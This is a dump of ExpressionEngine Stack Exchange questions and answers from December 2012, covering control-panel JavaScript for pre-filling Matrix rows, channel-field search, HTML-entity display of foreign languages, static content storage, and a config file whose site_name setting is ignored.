  <row Id="1551" PostTypeId="2" ParentId="1548" CreationDate="2012-12-13T05:34:35.340" Score="12" Body="&lt;p&gt;Adding the following script to the control panel allows one to define a custom state for one or more matrix fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following script can be modified as needed and then copy and paste into your custom field's &quot;Field Instructions&quot; box beneath your custom user instructions!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks to @MediaGirl for that trick!&#xA;Ref: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1552/how-to-add-a-custom-javascript-to-the-new-entry-control-panel&quot;&gt;How to add a custom JavaScript to the &amp;quot;New Entry&amp;quot; control panel?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$(function() {&#xA;&#xA;// Make sure that this is the publish form&#xA;if (!EE.publish)&#xA;    return;&#xA;&#xA;// Only proceed when creating a new entry&#xA;var entryId = $('#publishForm').find('input[name=&quot;entry_id&quot;]').val();&#xA;if (entryId != 0)&#xA;    return;&#xA;&#xA;function initLabels(id, labels) {&#xA;    var addEntryButton = $('#sub_hold_field_' + id + ' .matrix-btn.matrix-add');&#xA;    if (!addEntryButton.length)&#xA;        return;&#xA;&#xA;    // Need to wait after `document.ready` has finished executing!&#xA;    setTimeout(function() {&#xA;        var field = $('#sub_hold_field_' + id);&#xA;&#xA;        // Only proceed if matrix is empty&#xA;        // Note: This is not the case if a validation error occurs!&#xA;        if (!field.find('.matrix-norows').is(':visible'))&#xA;            return;&#xA;&#xA;        // Create one row for each label&#xA;        for (var i = 0; i &amp;lt; labels.length; ++i)&#xA;            addEntryButton.click();&#xA;&#xA;        // Skip the placeholder row for &quot;No rows have been added yet...&quot;&#xA;        field.find('tbody tr:not(.matrix-norows)').each(function(i) {&#xA;            $(this).find('.matrix-firstcell textarea').val(labels[i]);&#xA;        });&#xA;    }, 0);&#xA;}&#xA;&#xA;// Check that this is an entry of the expected channel field group&#xA;if (EE.publish.field_group == 2) {&#xA;    // &quot;Custom Parameters&quot;&#xA;    initLabels('23', [&#xA;        'Lens Type',&#xA;        'Focal Length',&#xA;        'Manufacturer',&#xA;        'Model',&#xA;        'Serial Number'&#xA;    ]);&#xA;&#xA;    // &quot;Track Information&quot;&#xA;    initLabels('17', [&#xA;        'Artist',&#xA;        'Title',&#xA;        'Label',&#xA;        'Artwork'&#xA;    ]);&#xA;}&#xA;&#xA;})&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="536" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2012-12-14T07:37:07.597" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1552" PostTypeId="1" AcceptedAnswerId="1553" CreationDate="2012-12-13T05:44:24.887" Score="6" ViewCount="587" Body="&lt;p&gt;How can I add a custom script to the &quot;New Entry&quot; control panel page to interact with the input form. The script does not need to be added to the &quot;Edit Entry&quot; page and certainly should not be added to any other control panel  pages within ExpressionEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this achieved? Can I write an extension which utilises a particular hook?&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-13T07:04:38.140" Title="How to add a custom JavaScript to the &quot;New Entry&quot; control panel?" Tags="|add-on|control-panel|javascript|extension|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1553" PostTypeId="2" ParentId="1552" CreationDate="2012-12-13T05:48:20.957" Score="3" Body="&lt;p&gt;A quick solution is to pop the code into the field's instructions. It will show on adds/edits if you do that. You might be able to create a conditional based on the url to not run it on edits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Added screenshot&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qKsAy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-13T06:34:59.177" LastActivityDate="2012-12-13T06:34:59.177" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1554" PostTypeId="2" ParentId="1552" CreationDate="2012-12-13T07:04:38.140" Score="5" Body="&lt;p&gt;I'm not quite as trusting with the way the fields labels handles JavaScript over say the way it handles HTML which, by the way, handles nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, I will add another option here for future reference as I think it could be helpful either way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I mentioned in a &lt;a href=&quot;https://expressionengine.stackexchange.com/a/1551/16&quot;&gt;comment&lt;/a&gt; on another question you could write an extension which uses the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/javascript/index.html#cp-js-end&quot; rel=&quot;nofollow noreferrer&quot;&gt;cp_js_end hook&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You said: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The script does not need to be added to the &quot;Edit Entry&quot; page&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I assume you mean it &lt;em&gt;does need&lt;/em&gt; to be added to the Publish Entry page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is the case then what you could do is check if you are in fact on the publish entry page by using a conditional in your extension similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('D') == &quot;cp&quot; &amp;amp;&amp;amp; $this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('C') == &quot;content_publish&quot; &amp;amp;&amp;amp; $this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('M') == &quot;entry_form&quot; )&#xA;{&#xA;    your code&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Not sure you need all three checks but you get the idea.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the code above is doing is checking for any query strings in the URL and if they match do something. Obviously it's just a start to get you going.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, check out this add-on from &lt;a href=&quot;http://pixelandtonic.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pixel &amp;amp; Tonic&lt;/a&gt; if you want some ideas on how to use this particular hook (and or &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/css/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;cp_css_end&lt;/a&gt;) in an extension. In fact, you could add my conditional strait to that add-on unless I'm reading the license wrong. The code I'm thinking of is around &lt;a href=&quot;https://github.com/pixelandtonic/cp_css_js/blob/master/ext.cp_css_js.php#L141&quot; rel=&quot;nofollow noreferrer&quot;&gt;line 141&lt;/a&gt; which you'd wrap my conditional example around that line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The add-on: &lt;a href=&quot;https://github.com/pixelandtonic/cp_css_js&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/pixelandtonic/cp_css_js&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2012-12-13T07:04:38.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1555" PostTypeId="1" AcceptedAnswerId="1556" CreationDate="2012-12-13T07:11:23.807" Score="3" ViewCount="594" Body="&lt;p&gt;Using ExpressionEngine 2's native search module, is there a way to search just a specific channel field  without searching the title field?  From what I can determine from the EE 2 docs, there are only 3 options with no way of keeping the title field from being searched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/simple.html#search-in&quot; rel=&quot;nofollow&quot;&gt;quoted from EE docs:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;entries: The search will be conducted in the entry fields and &lt;strong&gt;titles&lt;/strong&gt; of your channel. The associated comments will not be included.&lt;/li&gt;&#xA;&lt;li&gt;everywhere: The search will be conducted in the &lt;strong&gt;title&lt;/strong&gt;, entry fields, and in associated comments.&lt;/li&gt;&#xA;&lt;li&gt;titles: The search will be conducted in the &lt;strong&gt;title&lt;/strong&gt; of your entries. The channel entry fields and any associated comments will not be included.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My client wants a search to look only within a tag/s entered within a custom channel field, and exclude a keywords from the title tag.&lt;/p&gt;&#xA;" OwnerUserId="244" LastEditorUserId="28" LastEditDate="2012-12-16T06:18:02.230" LastActivityDate="2012-12-16T06:18:02.230" Title="Is there a way to search just a specific channel field without searching the title field?" Tags="|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1556" PostTypeId="2" ParentId="1555" CreationDate="2012-12-13T07:18:10.273" Score="5" Body="&lt;p&gt;I think you are right, that isn't possible with a core EE install.  Low search and solspace's super search do that, but it also seems like this free add-on does it too in a very limited way: &lt;a href=&quot;http://devot-ee.com/add-ons/search-fields&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/search-fields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2012-12-13T09:04:53.847" LastActivityDate="2012-12-13T09:04:53.847" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="1557" PostTypeId="1" AcceptedAnswerId="1725" CreationDate="2012-12-13T07:47:05.663" Score="10" ViewCount="690" Body="&lt;p&gt;So we've just completed a transition from EE1 to EE2 for a client with a very large database of publications. Some of the publications are available in multiple languages, with Chinese, Korean, and Vietnamese being some of the more popular translated languages, behind Spanish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front-end, the languages are displaying fine, but in the Control Panel they are displaying as HTML entities. Now database wise, this is the same. All the languages were always stored as html entities in MySQL, but before, when the record was pulled up in the control panel, it was readable as that languages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a Korean Publication in EE1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T5HE8.png&quot; alt=&quot;EE1 Control Panel View- Korean Pub&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the same Korean Publication in EE2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NPImd.png&quot; alt=&quot;EE2 Control Panel View- Korean Pub&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if I go back from the Control Panel and re-enter the data as Chinese, Korean, or Vietnamese the data then displays in that language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xvnD7.png&quot; alt=&quot;Chinese Language Re-Entered in Mandarin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, we don't want them to have to re-enter hundreds or more publications just to view the text in the proper language, but I can't seem to figure out why EE2 isn't converting the html entities back into the specified languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The database is set for UTF-8, charset is also UTF-8, language is English. We didn't have any foreign language packs installed, since the translations only apply to the documents, not the control panel. We still have an EE1 version of the database with Control Panel ONLY access and can compare the databases, and with the exception of table name changes, they look the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd assume this is or at least was a setting somewhere, but not in the normal config.php settings. Does anyone know where or what I can troubleshoot to get this conversion working properly again? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, the text needs to be readable for the client to edit and update the publications.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="15" LastEditDate="2012-12-14T00:06:11.583" LastActivityDate="2012-12-18T01:22:34.013" Title="Foreign Languages Displayed as HTML Entities" Tags="|control-panel|ee1|multi-language|multilingual|html-entities|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1558" PostTypeId="1" AcceptedAnswerId="1564" CreationDate="2012-12-13T09:46:33.057" Score="4" ViewCount="125" Body="&lt;p&gt;I´m thinking where to store static stuff like &quot;About us&quot;, &quot;Adress info&quot;, &quot;Driving directions&quot;. &#xA;Entities, that contain of&#xA;- Text&#xA;- Headlines&#xA;- Image&#xA;- Links&#xA;- but don´t change often and live just in one place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see three options&#xA; 1) Put the stuff straight into the template.&#xA; 2) Set up a variable, e.g. {impressum}.&#xA; 3) Set up a special channel, called statics with a fieldgroup called statics, that has just one richtext field and make &quot;About us&quot;, &quot;Driving directions&quot;,... entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question: Which of the 3 ist best in terms of&#xA;- maintenance&#xA;- performance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would opt for 2).&#xA;Set up a variable, put the HTML together in my HTML editor, paste it into the variable and then use the varibale in the template. I would use static/index as TG/T and use segments to decide what variable should be used.&#xA;That would seperate code from content and save me from the overhead of having a dedicated channel.&#xA;The reason why I mentioned version 3) is, that this would allow me to have all content in one place. Having entries, variables and sometimes snippets makes the content scattered all over the place.&lt;/p&gt;&#xA;" OwnerUserId="136" LastActivityDate="2012-12-14T05:21:37.493" Title="Where to put static text like &quot;about us&quot; or contact info?" Tags="|ee2|long-content|static|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1559" PostTypeId="2" ParentId="1558" CreationDate="2012-12-13T10:06:26.200" Score="0" Body="&lt;p&gt;&lt;strong&gt;we usually create different channels for all these areas, but with the same field group.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your &quot;default&quot; field group contains: title, body, images &amp;amp; links.&#xA;And you assign this field-group for all your &quot;static&quot; channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so, a static about page looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;about&quot; limit=&quot;1&quot;}&#xA;  &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;p&amp;gt;{body}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&#xA;and a &quot;driving directions&quot; page looks very similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;driving&quot; limit=&quot;1&quot;}&#xA;  &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;p&amp;gt;{body}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&#xA;The benefits are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;easy to maintain and set up, no add-ons or anything needed.&lt;/li&gt;&#xA;&lt;li&gt;your client can easily access &amp;amp; edit all the info.&lt;/li&gt;&#xA;&lt;li&gt;reusable code.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To make it even easier for our clients, we use &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-flexible-admin&quot; rel=&quot;nofollow&quot;&gt;zoo flexible admin&lt;/a&gt;:&lt;/strong&gt;&lt;br/&gt;&#xA;We set up a top level menu button for each of our pages, and directly link to the 1 entry in our channel by using the &quot;custom link&quot; functionality provided by zoo flexible admin.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2012-12-13T10:06:26.200" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1560" PostTypeId="1" CreationDate="2012-12-13T10:58:30.683" Score="5" ViewCount="161" Body="&lt;p&gt;Before starting on a new #eecms website, are there any other hotfixes i need to know of ?! &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Channel posting privileges being removed from member groups&lt;/strong&gt;&lt;br&gt;&#xA;When editing Member Group permissions and pressing save, channel posting privileges are being removed from all other non-Super Admin member groups.&lt;br&gt;&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/18234&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/18234&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Edit date wrong on initial save&lt;/strong&gt;&lt;br&gt;&#xA;On initial save the edit_date is set equal to entry_date,&lt;br&gt;&#xA;On next saves edit_date is correctly set to localize-&gt;now.&lt;br&gt;&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/18308&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/18308&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="155" LastEditorUserId="22" LastEditDate="2012-12-14T16:14:53.473" LastActivityDate="2012-12-14T21:08:48.883" Title="Hotfixes for a new 2.5.3 website" Tags="|control-panel|settings|update|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1561" PostTypeId="2" ParentId="264" CreationDate="2012-12-13T11:02:26.737" Score="0" Body="&lt;p&gt;I'm trying to get this to work as well but not having any luck. Say I just used the following snippit of code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{store:entry_id_in_cart:{entry_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the item is in the cart the output should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently it just outputs the string &quot;{store:entry_id_in_cart:{entry_id}&quot; which makes me think that either I'm not using the code properly or I haven't installed the extension properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="596" LastActivityDate="2012-12-13T11:02:26.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1563" PostTypeId="1" AcceptedAnswerId="1565" CreationDate="2012-12-13T11:36:16.553" Score="9" ViewCount="2188" Body="&lt;p&gt;Having read through this discussion &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/450/config-bootstrap-options&quot;&gt;Config Bootstrap Options&lt;/a&gt;, and settled on using the method described on nettuts &lt;a href=&quot;http://net.tutsplus.com/tutorials/php/apply-the-dry-principle-to-build-websites-with-expressionengine-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, I've got myself a base build for EE with all my usual addons etc. That's all working very nicely, with one annoying exception.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting &lt;code&gt;site_name&lt;/code&gt; in config seems to have no effect what so ever!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['site_name'] = &quot;Base ExpressionEngine Install&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there anything I'm doing wrong, or does this just not work? I've tried clearing the cache via the CP, but that made no difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are just stand-alone sites, not MSM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the rest of my config file for reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;if ( ! defined('EXT'))&#xA;{&#xA;exit('Invalid file request');&#xA;}&#xA;&#xA;/**&#xA;* THIS FILE WILL NEED PERMISSIONS SET TO 400 OR SIMILAR SO EE DOESN'T OVERWRITE IT.&#xA;*/&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| ExpressionEngine Config Items&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| The following items are for use with ExpressionEngine.&#xA;|&#xA;*/&#xA;&#xA;/* Universal Variables */&#xA;&#xA;$config['app_version'] = &quot;253&quot;;&#xA;$config['license_number'] = &quot;0000-0000-0000-0000&quot;;&#xA;$config['debug'] = &quot;1&quot;;&#xA;$config['install_lock'] = &quot;&quot;;&#xA;$config['system_folder'] = &quot;sys&quot;;&#xA;$config['doc_url'] = &quot;http://expressionengine.com/user_guide/&quot;;&#xA;$config['is_system_on'] = &quot;y&quot;;&#xA;$config['cookie_prefix'] = &quot;&quot;;&#xA;$config['site_name'] = &quot;Base ExpressionEngine Install&quot;;&#xA;$config['allow_extensions'] = &quot;y&quot;;&#xA;&#xA;/* General&#xA;-------------------------------------------------------------------*/&#xA;$config['site_index'] = &quot;&quot;;&#xA;$config['site_url'] = &quot;http://&quot;.$_SERVER['HTTP_HOST'];&#xA;$config['server_path'] = $_SERVER['DOCUMENT_ROOT'];&#xA;$config['cp_url'] = $config['site_url'].&quot;/admin.php&quot;;&#xA;&#xA;/* Dynamic database connection settings&#xA;-------------------------------------------------------------------*/&#xA;&#xA;switch ( $config['site_url'] ) { &#xA;// local&#xA;case 'http://dev.example.com' :&#xA;    $db['expressionengine']['hostname'] = &quot;localhost&quot;;&#xA;    $db['expressionengine']['username'] = &quot;admin&quot;;&#xA;    $db['expressionengine']['password'] = &quot;password&quot;;&#xA;    $db['expressionengine']['database'] = &quot;dev-db&quot;;&#xA;  break;&#xA;&#xA;// staging&#xA;case 'http://staging.example.com' :&#xA;    $db['expressionengine']['hostname'] = &quot;mysql.exampleserver.com&quot;;&#xA;    $db['expressionengine']['username'] = &quot;admin&quot;;&#xA;    $db['expressionengine']['password'] = &quot;password&quot;;&#xA;    $db['expressionengine']['database'] = &quot;staging-db&quot;;&#xA;break;&#xA;&#xA;// live&#xA;default :&#xA;    $db['expressionengine']['hostname'] = &quot;mysql.exampleserver.com&quot;;&#xA;    $db['expressionengine']['username'] = &quot;admin&quot;;&#xA;    $db['expressionengine']['password'] = &quot;password&quot;;&#xA;    $db['expressionengine']['database'] = &quot;live-db&quot;;&#xA;break;&#xA;&#xA;}&#xA;&#xA;/* Universal database connection settings&#xA;-------------------------------------------------------------------*/&#xA;$active_group = 'expressionengine';&#xA;$active_record = TRUE;&#xA;$db['expressionengine']['dbdriver'] = &quot;mysql&quot;;&#xA;$db['expressionengine']['dbprefix'] = &quot;exp_&quot;;&#xA;$db['expressionengine']['pconnect'] = FALSE;&#xA;$db['expressionengine']['swap_pre'] = &quot;exp_&quot;;&#xA;$db['expressionengine']['db_debug'] = FALSE;&#xA;$db['expressionengine']['cache_on'] = FALSE;&#xA;$db['expressionengine']['autoinit'] = FALSE;&#xA;$db['expressionengine']['char_set'] = &quot;utf8&quot;;&#xA;$db['expressionengine']['dbcollat'] = &quot;utf8_general_ci&quot;;&#xA;$db['expressionengine']['cachedir'] = $config['server_path'].$config['system_folder'].&quot;/expressionengine/cache/db_cache/&quot;;&#xA;&#xA;/* Member directory paths and urls&#xA;-------------------------------------------------------------------*/&#xA;$config['avatar_url'] = $config['site_url'].&quot;/uploads/system/avatars/&quot;;&#xA;$config['avatar_path'] = $config['server_path'].&quot;/uploads/system/avatars/&quot;;&#xA;$config['photo_url'] = $config['site_url'].&quot;/uploads/system/member_photos/&quot;;&#xA;$config['photo_path'] = $config['server_path'].&quot;/uploads/system/member_photos/&quot;;&#xA;$config['sig_img_url'] = $config['site_url'].&quot;/uploads/system/signature_attachments/&quot;;&#xA;$config['sig_img_path'] = $config['server_path'].&quot;/uploads/system/signature_attachments/&quot;;&#xA;$config['prv_msg_upload_path'] = $config['server_path'].&quot;/uploads/system/pm_attachments/&quot;;&#xA;&#xA;/* Misc directory paths and urls&#xA;-------------------------------------------------------------------*/&#xA;$config['theme_folder_url'] = $config['site_url'].&quot;/assets/themes/&quot;;&#xA;$config['theme_folder_path'] = $config['server_path'].&quot;/assets/themes/&quot;;&#xA;&#xA;/* Templates Preferences&#xA;-------------------------------------------------------------------*/&#xA;$config['save_tmpl_files'] = &quot;y&quot;;&#xA;$config['tmpl_file_basepath'] = $config['server_path'].&quot;/assets/templates/&quot;;&#xA;$config['site_404'] = &quot;404/index&quot;;&#xA;$config['strict_urls'] = &quot;n&quot;;&#xA;&#xA;// END EE config items&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| CodeIgniter Config Items&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| The following items are for use with CodeIgniter.&#xA;|&#xA;*/&#xA;$config['base_url'] = $config['site_url'].&quot;/&quot;;&#xA;$config['index_page'] = &quot;&quot;;&#xA;$config['uri_protocol'] = &quot;AUTO&quot;;&#xA;$config['url_suffix'] = &quot;&quot;;&#xA;$config['language'] = &quot;english&quot;;&#xA;$config['charset'] = &quot;UTF-8&quot;;&#xA;$config['enable_hooks'] = FALSE;&#xA;$config['subclass_prefix'] = &quot;EE_&quot;;&#xA;$config['permitted_uri_chars'] = &quot;a-z 0-9~%.:_\-&quot;;&#xA;$config['enable_query_strings'] = FALSE;&#xA;$config['directory_trigger'] = &quot;D&quot;;&#xA;$config['controller_trigger'] = &quot;C&quot;;&#xA;$config['function_trigger'] = &quot;M&quot;;&#xA;$config['log_threshold'] = 0;&#xA;$config['log_path'] = &quot;&quot;;&#xA;$config['log_date_format'] = &quot;Y-m-d H:i:s&quot;;&#xA;$config['cache_path'] = &quot;&quot;;&#xA;$config['encryption_key'] = &quot;&quot;;&#xA;$config['global_xss_filtering'] = FALSE;&#xA;$config['csrf_protection'] = FALSE;&#xA;$config['compress_output'] = FALSE;&#xA;$config['time_reference'] = &quot;local&quot;;&#xA;$config['rewrite_short_tags'] = TRUE;&#xA;$config['proxy_ips'] = &quot;&quot;;&#xA;&#xA;&#xA;/* End of file config.php */&#xA;/* Location: ./system/expressionengine/config/config.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2012-12-13T12:31:23.543" Title="setting 'site_name' in config doesn't seem to work" Tags="|config|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1564" PostTypeId="2" ParentId="1558" CreationDate="2012-12-13T11:46:53.800" Score="8" Body="&lt;p&gt;I think one of the best options today is to use either Low Variables or Republic Variables:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gotolow.com/addons/low-variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;Low Variables&lt;/a&gt; $&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R9Pbu.png&quot; alt=&quot;Low Variables&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://republiclabs.com/expressionengine/republic-variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;Republic Variables&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WNPND.jpg&quot; alt=&quot;Republic Variables&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is plenty of information on the two add-on sites so, I won't go into crazy detail. I personally use Low Vars and it's pretty much amazing for this type of stuff and so much more!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you don't want stuff scattered around the CP you could checkout &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-flexible-admin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Zoo Flexible Admin&lt;/a&gt; like @janvl mentioned and if you are using Structure you could install &lt;a href=&quot;http://devot-ee.com/add-ons/encaf-where-is-the-lv&quot; rel=&quot;nofollow noreferrer&quot;&gt;Encaf Where is the LV?&lt;/a&gt; which will create a link in the Structure Tree:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oj4o0.jpg&quot; alt=&quot;Encaf Where is the LV?&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2012-12-13T11:46:53.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1565" PostTypeId="2" ParentId="1563" CreationDate="2012-12-13T12:09:00.870" Score="10" Body="&lt;p&gt;To be able to actually use the &quot;site_name&quot; and for it to work,&lt;br&gt;&#xA;you need to hack the core&lt;br&gt;&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/15461/#8283&quot;&gt;https://support.ellislab.com/bugs/detail/15461/#8283&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or install an extension i developed for this.&lt;br&gt;&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/override_site_name&quot;&gt;http://devot-ee.com/add-ons/override_site_name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt; Instead of in the &lt;code&gt;config.php&lt;/code&gt; file,&lt;br&gt;&#xA;You can override site_name in the main index.php&lt;br&gt;&#xA;&lt;code&gt;$assign_to_config['site_name'] ='Name'&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2012-12-13T12:31:23.543" LastActivityDate="2012-12-13T12:31:23.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
